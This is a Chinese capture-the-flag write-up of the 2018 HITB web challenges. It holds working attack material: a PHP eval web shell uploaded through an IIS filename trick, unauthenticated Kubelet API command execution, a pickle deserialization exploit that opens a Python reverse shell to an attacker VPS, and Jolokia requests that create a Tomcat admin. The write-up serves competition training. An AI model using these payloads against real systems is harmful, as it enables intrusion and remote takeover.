赛前福利①最新2018HITB国际赛writeup

FIRST

距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有10天啦!

要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018HITB国际赛的一手write up!web、misc、pwn、crypto、mobile都有!快来尝鲜!

——特别感谢本文作者:BXS——

本文作者曾多次参与“安恒杯”月赛,成绩亮眼~

在本次HIBT国际赛中,他所在的队伍也取得了rank16、大陆前5的好成绩~Congratulations!

PART1.WEB

1.Upload

访问题目:http://47.90.97.18:9999/

看到2个功能

upload.php

pic.php

查看pic.php

http://47.90.97.18:9999/pic.php?filename=default.jpg

得到回显

width=497

height=477

发现可以解析图片,这里尝试了一会儿文件包含

发现回显基本都是

image error

后来抓包的时候看到

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: Microsoft-IIS/7.0

X-Powered-By: PHP/5.6.35

Date: Fri, 13 Apr 2018 13:30:00 GMT

Connection: close

Content-Length: 18

发现对方是

windows iis7.0

想到一些上传技巧

尝试上传`1.php` (注意,php后有一个空格)

发现成功可以上传php文件,并且由于windows文件名的问题,最后的空格会被去掉,所以

`1.php(空格)`会变成`1.php`

但是新的问题来了,我们没有上传文件夹路径

后来百度windows 目录爆破的时候发现百度第一条文章

http://www.moonsec.com/post-304.html

其中写道到

已知1.php存在,以上脚本访问的结果是:

1.php

1.phP

1.ph<

1.ph>

都能得到返回。

发现

<

>

可以进行通配

根据这一点继续搜索,发现文章

http://www.freebuf.com/column/164698.html

其中提及dedecms的后台目录爆破方式

function my_func($url, $path = '') {

$ch = curl_init($url);

$i = 48;

global $version;

while($i <= 90) {

if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {

if($version != '5.7') {

/* v5.6版本及其以下 */

$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';

}

else {

/* v5.7版本 */

$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';

}

$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

$options = array(

CURLOPT_USERAGENT => 'Firefox/58.0',

CURLOPT_RETURNTRANSFER => true,

CURLOPT_POST => true,

CURLOPT_POSTFIELDS => $data,

);

curl_setopt_array($ch, $options);

$response = curl_exec($ch);

if(!preg_match('/(Upload filetype not allow !)/i', $response)) {

$path = $path . chr($i);

return $path;

}

}

$i++;

}

受到通配爆破的启发,我尝试

http://47.90.97.18:9999/pic.php?filename=../a</default.jpg

发现通配成功

width=497

height=477

得到回显

于是写脚本进行fuzz

# coding=UTF-8

import requests

url = "http://47.90.97.18:9999/pic.php?filename=../"

flag = ""

for i in range(1,100):

for j in '0123456789abcdefghijklmnopqrstuvwxyz':

url1 = url+flag+j+'</default.jpg'

r = requests.get(url=url1)

if "height" in r.content:

flag +=j

print url1

break

运行后得到目录

87194f13726af7cee27ba2cfe97b60df

后上传一句话木马

<?php

@eval($_POST['sky']);

?>

然后菜刀连接

http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523496144.php

成功拿到flag

<?php

echo "flag is here";

//HITB{e5f476c1e4c6dc66278db95f0b5a228a}

?>

故此拿到flag

HITB{e5f476c1e4c6dc66278db95f0b5a228a}

2.Baby Baby

这题侥幸拿了3血XD

拿到题目后,提示是

This is a pentest challenge, open your mind!

扫了一下端口发现

80

9999

10250

3个端口开放

然后在9999端口拿到源码

This is a pentest challenge, open your mind!

<img style="width: 300px;" src="jd.png" alt="the picture is unrelated to this challenge, just a advertisement" />

<?php

eval($__POST["backdoor"]);

?>

发现是在逗我没错了,根本无法使用

后来入手10250端口

发现RR巨佬的文章

https://ricterz.me/posts/Security%20Issues%20of%20Kubelet%20HTTP%28s%29%20Server

发现突破点:

Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制

在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。

而我们可以通过`/runningpods`获取正在运行的`Pod`列表:

于是我尝试指令

http --verify=no https://47.75.146.42:10250/runningpods/

得到回显

HTTP/1.1 200 OK

Content-Type: application/json

Date: Thu, 12 Apr 2018 07:00:22 GMT

Transfer-Encoding: chunked

{

"apiVersion": "v1",

"items": [

{

"metadata": {

"creationTimestamp": null,

"name": "kubernetes-dashboard-688193819-svbx3",

"namespace": "kube-system",

"uid": "958e5dcc-3c7e-11e8-b3d6-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/google_containers/kubernetes-dashboard-amd64@sha256:1344175a7b6502e012102c05201d16e572c4daf803f92d2d2c07b0ac8ffb9110",

"name": "kubernetes-dashboard",

"resources": {}

}

]

},

"status": {}

},

{

"metadata": {

"creationTimestamp": null,

"name": "web-test-4092782360-035qx",

"namespace": "esn-system",

"uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf",

"name": "web-test",

"resources": {}

}

]

},

"status": {}

},

{

"metadata": {

"creationTimestamp": null,

"name": "kube-dns-3757701935-jht7p",

"namespace": "kube-system",

"uid": "97583356-3c7e-11e8-b3d6-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/google_containers/k8s-dns-sidecar-amd64@sha256:1d3b5c493e3c8ff05262192dce1807e19375406d7a159b1c5c463144ad1c47d5",

"name": "sidecar",

"resources": {}

},

{

"image": "127.0.0.1:5000/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:13f5523c0c2422447167a5aa08a16c07e3c78db113373da312e67a78eb04c981",

"name": "dnsmasq",

"resources": {}

},

{

"image": "127.0.0.1:5000/google_containers/k8s-dns-kube-dns-amd64@sha256:bcfbfd0cf6c20b17d6797c1901d17653802b1b2f31d5901698e629f23b9b60e6",

"name": "kubedns",

"resources": {}

}

]

},

"status": {}

},

{

"metadata": {

"creationTimestamp": null,

"name": "monitoring-grafana-3238376892-r3r57",

"namespace": "kube-system",

"uid": "96f720d7-3c7e-11e8-b3d6-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/google_containers/heapster-grafana-amd64@sha256:0b077080cff3bb20a6e89bdd3b2f05f36479ee1edf7e91732d0578ea57753b33",

"name": "grafana",

"resources": {}

}

]

},

"status": {}

},

{

"metadata": {

"creationTimestamp": null,

"name": "heapster-3876467971-j942t",

"namespace": "kube-system",

"uid": "972fc55d-3c7e-11e8-b3d6-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/google_containers/heapster-amd64@sha256:fb618adfed191f97b303603df043f75a42f4c1d6a4d625a0ee0cda81890c9fd0",

"name": "heapster",

"resources": {}

}

]

},

"status": {}

},

{

"metadata": {

"creationTimestamp": null,

"name": "monitoring-influxdb-4196588620-k597p",

"namespace": "kube-system",

"uid": "977f4ae8-3c7e-11e8-b3d6-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/google_containers/heapster-influxdb-amd64@sha256:961319e26e359294ac86294d8029d1c78e697d617ca0d645d3b227a8bd9a7817",

"name": "influxdb",

"resources": {}

}

]

},

"status": {}

}

],

"kind": "PodList",

"metadata": {}

}

不难看到关键点

"metadata": {

"creationTimestamp": null,

"name": "web-test-4092782360-035qx",

"namespace": "esn-system",

"uid": "a8f7e307-3e14-11e8-838a-00163e0245e7"

},

"spec": {

"containers": [

{

"image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94bd2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf",

"name": "web-test",

"resources": {}

这里可以看到几个关键点

pod_name:web-test-4092782360-035qx

namespace:esn-system

container_name:web-test

故此可以使用指令

http --form --verify=no POST https://目标ip:port/run/namespace/pod_name/container_name cmd='ls /'

http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='ls /'

进行命令执行

回显

HTTP/1.1 200 OK

Content-Length: 101

Content-Type: application/json

Date: Thu, 12 Apr 2018 07:01:06 GMT

bin

core

dev

etc

flag.txt

home

lib

linuxrc

media

mnt

proc

root

run

sbin

srv

start.sh

sys

tmp

usr

var

发现成功读取根目录信息

我们直接`cat flag`

http --form --verify=no POST https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test cmd='cat /flag.txt'

得到回显

HTTP/1.1 200 OK

Content-Length: 176

Content-Type: application/json

Date: Thu, 12 Apr 2018 07:00:53 GMT

HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}

DO NOT MODIFY ANYTHING.

WE WILL BAN YOUR TEAM IF YOU CHANG FLAG, DELETE FILES, ETC.

如果你修改、删除文件,我们会 ban 掉你 :D

故此拿到flag:

HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}

3.Python's revenge

题目直接给出了源码

from __future__ import unicode_literals

from flask import Flask, request, make_response, redirect, url_for, session

from flask import render_template, flash, redirect, url_for, request

from werkzeug.security import safe_str_cmp

from base64 import b64decode as b64d

from base64 import b64encode as b64e

from hashlib import sha256

from cStringIO import StringIO

import random

import string

import os

import sys

import subprocess

import commands

import pickle

import cPickle

import marshal

import os.path

import filecmp

import glob

import linecache

import shutil

import dircache

import io

import timeit

import popen2

import code

import codeop

import pty

import posixfile

SECRET_KEY = 'you will never guess'

if not os.path.exists('.secret'):

with open(".secret", "w") as f:

secret = ''.join(random.choice(string.ascii_letters + string.digits)

for x in range(4))

f.write(secret)

with open(".secret", "r") as f:

cookie_secret = f.read().strip()

app = Flask(__name__)

app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

@app.before_request

def count():

session['cnt'] = 0

@app.route('/')

def home():

remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'

new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'

location = getlocation()

if location == False:

return redirect(url_for("clear"))

return render_template('index.html', txt=remembered_str, location=location)

@app.route('/clear')

def clear():

flash("Reminder cleared!")

response = redirect(url_for('home'))

response.set_cookie('location', max_age=0)

return response

@app.route('/reminder', methods=['POST', 'GET'])

def reminder():

if request.method == 'POST':

location = request.form["reminder"]

if location == '':

flash("Message cleared, tell us when you have found more brains.")

else:

flash("We will remember where you find your brains.")

location = b64e(pickle.dumps(location))

cookie = make_cookie(location, cookie_secret)

response = redirect(url_for('home'))

response.set_cookie('location', cookie)

return response

location = getlocation()

if location == False:

return redirect(url_for("clear"))

return render_template('reminder.html')

class FilterException(Exception):

def __init__(self, value):

super(FilterException, self).__init__(

'The callable object {value} is not allowed'.format(value=str(value)))

class TimesException(Exception):

def __init__(self):

super(TimesException, self).__init__(

'Call func too many times!')

def _hook_call(func):

def wrapper(*args, **kwargs):

session['cnt'] += 1

print session['cnt']

print args[0].stack

for i in args[0].stack:

if i in black_type_list:

raise FilterException(args[0].stack[-2])

if session['cnt'] > 4:

raise TimesException()

return func(*args, **kwargs)

return wrapper

def loads(strs):

reload(pickle)

files = StringIO(strs)

unpkler = pickle.Unpickler(files)

unpkler.dispatch[pickle.REDUCE] = _hook_call(

unpkler.dispatch[pickle.REDUCE])

return unpkler.load()

def getlocation():

cookie = request.cookies.get('location')

if not cookie:

return ''

(digest, location) = cookie.split("!")

if not safe_str_cmp(calc_digest(location, cookie_secret), digest):

flash("Hey! This is not a valid cookie! Leave me alone.")

return False

location = loads(b64d(location))

return location

def make_cookie(location, secret):

return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):

return sha256("%s%s" % (location, secret)).hexdigest()

if __name__ == '__main__':

app.run(host="0.0.0.0", port=5051)

发现与强网杯的类似

参考链接

http://skysec.top/2018/04/01/Python-is-the-best-language/

注意到getlocation()函数中反序列化操作

location = loads(b64d(location))

跟location的由来

location = request.form["reminder"]

if location == '':

flash("Message cleared, tell us when you have found more brains.")

else:

flash("We will remember where you find your brains.")

location = b64e(pickle.dumps(location))

cookie = make_cookie(location, cookie_secret)

response = redirect(url_for('home'))

response.set_cookie('location', cookie)

然后生成的cookie

def getlocation():

cookie = request.cookies.get('location')

if not cookie:

return ''

(digest, location) = cookie.split("!")

if not safe_str_cmp(calc_digest(location, cookie_secret), digest):

flash("Hey! This is not a valid cookie! Leave me alone.")

return False

location = loads(b64d(location))

最后发现只要能控制cookie即可随意更改反序列化的值

但是问题来了,没有

cookie_secret

跟一下发现

if not os.path.exists('.secret'):

with open(".secret", "w") as f:

secret = ''.join(random.choice(string.ascii_letters + string.digits)

for x in range(4))

f.write(secret)

with open(".secret", "r") as f:

cookie_secret = f.read().strip()

cookie_secret只有4位的长度,很快就能爆破出来

我们写脚本

from hashlib import sha256

import pickle

import cPickle

from base64 import b64decode as b64d

from base64 import b64encode as b64e

import random

import string

def make_cookie(location, secret):

return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):

return sha256("%s%s" % (location, secret)).hexdigest()

for x1 in string.ascii_letters + string.digits:

for x2 in string.ascii_letters + string.digits:

for x3 in string.ascii_letters + string.digits:

for x4 in string.ascii_letters + string.digits:

cookie_secret = x1+x2+x3+x4

location = "VjExMQpwMAou"

cookie = make_cookie(location, cookie_secret)

#print cookie

if cookie == "73ec41cd2804d3ad0a606c66d02d9d2234ba4ff0c4dc02f69555157beab99d9f!VjExMQpwMAou":

print cookie_secret

break

运行得到cookie_secret

hitb

然后就是构造类,bypass沙盒黑名单了

注意到黑名单未过滤

platform.popen

于是构造类

class Exploit(object):

def __reduce__(self):

return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():

shellcode = pickle.dumps(Exploit())

return shellcode

最后脚本

import pickle

import platform

from base64 import b64encode as b64e

import string

from hashlib import sha256

def make_cookie(location, secret):

return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):

return sha256("%s%s" % (location, secret)).hexdigest()

class Exploit(object):

def __reduce__(self):

return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"你的vps\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))

def serialize_exploit():

shellcode = pickle.dumps(Exploit())

return shellcode

location = b64e(serialize_exploit())

cookie_secret = "hitb"

cookie = make_cookie(location, cookie_secret)

print cookie

运行得到

6c9bb5a6c403532334724160875f921baef27b8e8be27d0a3db3d49dd84d8ee4!Y3BsYXRmb3JtCnBvcGVuCnAwCihTJ3B5dGhvbiAtYyBcJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMjcuMC4wLjEiLDIzMzMzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTtcJycKcDEKdHAyClJwMwou

接着在你的vps上打开端口监听

nc -l -vv -p 23333

然后更改cookie中的location为此值,刷新页面得到

<open file 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("138.68.225.135",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'', mode 'r' at 0x7fdb5f9e1c00>

查看vps端口监听

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [47.75.151.118] port 23333 [tcp/*] accepted (family 2, sport 52880)

/bin/sh: 0: can't access tty; job control turned off

$

发现收到shell

执行命令

$ ls

app.py

app.pyc

run.py

run.pyc

static

templates

发现成功

于是探寻flag

$ cd ..

$ ls

bin

boot

dev

easy_sandbox

etc

flag_is_here

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var

$ cat flag_is_here

HITB{Py5h0n1st8eBe3tNOW}

最后成功拿到flag

HITB{Py5h0n1st8eBe3tNOW}

4.BabyNya

渗透题目,只给了一个ip,首先nmap扫描了一下端口,发现可疑的8009端口,然后google发现了一种攻击方式:

https://ionize.com.au/exploiting-apache-tomcat-port-8009-using-apache-jserv-protocol/

然后

按照前两步搭建好了环境,访问127.0.0.1就可以访问到了服务

然后提示装了 jolokia

google发现了与题目类似的攻击手法:

https://webcache.googleusercontent.com/search?q=cache:oALAQ5J-hfgJ:https://ricterz.me/+&cd=1&hl=zh-CN&ct=clnk&gl=us

于是发送请求到本地:

// 创建 manager-gui

{

"type": "EXEC",

"mbean": "Users:database=UserDatabase,type=UserDatabase",

"operation": "createRole",

"arguments": ["manager-gui", ""]

}

// 创建用户

{

"type": "EXEC",

"mbean": "Users:database=UserDatabase,type=UserDatabase",

"operation": "createUser",

"arguments": ["xjb", "xjb", ""]

}

// 增加角色

{

"type": "EXEC",

"mbean": "Users:database=UserDatabase,type=User,username=\"xjb\"",

"operation": "addRole",

"arguments": ["manager-gui"]

}

发现返回的状态都是200,于是去访问管理页面 /manager/html

用注册的用户密码登陆,成功进入,进而拿到flag。

这里忘记截图了。XD

受篇幅影响,今天先放送web题目,剩下的题目明天继续推给大家~祝大家都能取得好成绩!

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-04-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏葡萄城控件技术团队

Url Rewrite 再说Url 重写

前几天看到园子里一篇关于 Url 重写的文章《获取ISAPI_Rewrite重写后的URL》 , URL-Rewrite 这项技术早已不是一项新技术了,这个话题...

5408
来自专栏黑泽君的专栏

day54_BOS项目_06

第一步:根据提供的 业务受理.pdm 文件生成建表文件 bos_qp.sql 第二步:由于业务受理.pdm 文件中有伪表,所以我们需要修改生成的建表文件,修改如...

872
来自专栏Kubernetes

原 荐 Kubernetes Resourc

更多关于kubernetes的深入文章,请看我csdn或者oschina的博客主页。 ResoureQuota介绍 关于ResoureQuota和Resourc...

5069
来自专栏安恒网络空间安全讲武堂

[HCTF] share write up

从http://share.2018.hctf.io/robots.txt中获取到题目部分源码

932
来自专栏高性能服务器开发

+从零实现一款12306刷票软件1.4

这里还有个注意细节,就是通过POST请求发送的数据需要对一些符号做URL Encode,这个我在上一篇文章《从零实现一个http服务器》也详细做了介绍,还不清楚...

2122
来自专栏北京马哥教育

Vim自动补全神器:YouCompleteMe

第一次听说这个插件还是在偶然的情况下看到别人的博客,听说了这个插件的大名。本来打算在实训期间来完成安装的,无奈网实在不给力,也就拖到了回家的时候。在开始准备工作...

5976
来自专栏GopherCoder

『No18: Go 实现世界杯后台管理系统』

趁着周末更新一期,上一期讲到 如何快速熟悉一个项目, 文章的最后讲到,最好的方法是借用相同的技术栈重新实现一个项目。

1641
来自专栏GopherCoder

『阅读源代码的姿势:以 go-restful 为例』

5173
来自专栏FreeBuf

新手指南:DVWA-1.9全级别教程之Brute Force

目前,最新的DVWA已经更新到1.9版本 ,而网上的教程大多停留在旧版本,且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还...

3729
来自专栏DeveWork

Mac OS X巧用AppleScript 制作网络位置切换自动化脚本(自动配置PAC 文件)

事情是这样的,自带的Macbook Air 在实习单位入的是办公网,办公网走自动代理(需要配置PAC 文件)。同时回来宿舍或家里需要民用的宽带网络。切换的时候出...

4725

扫码关注云+社区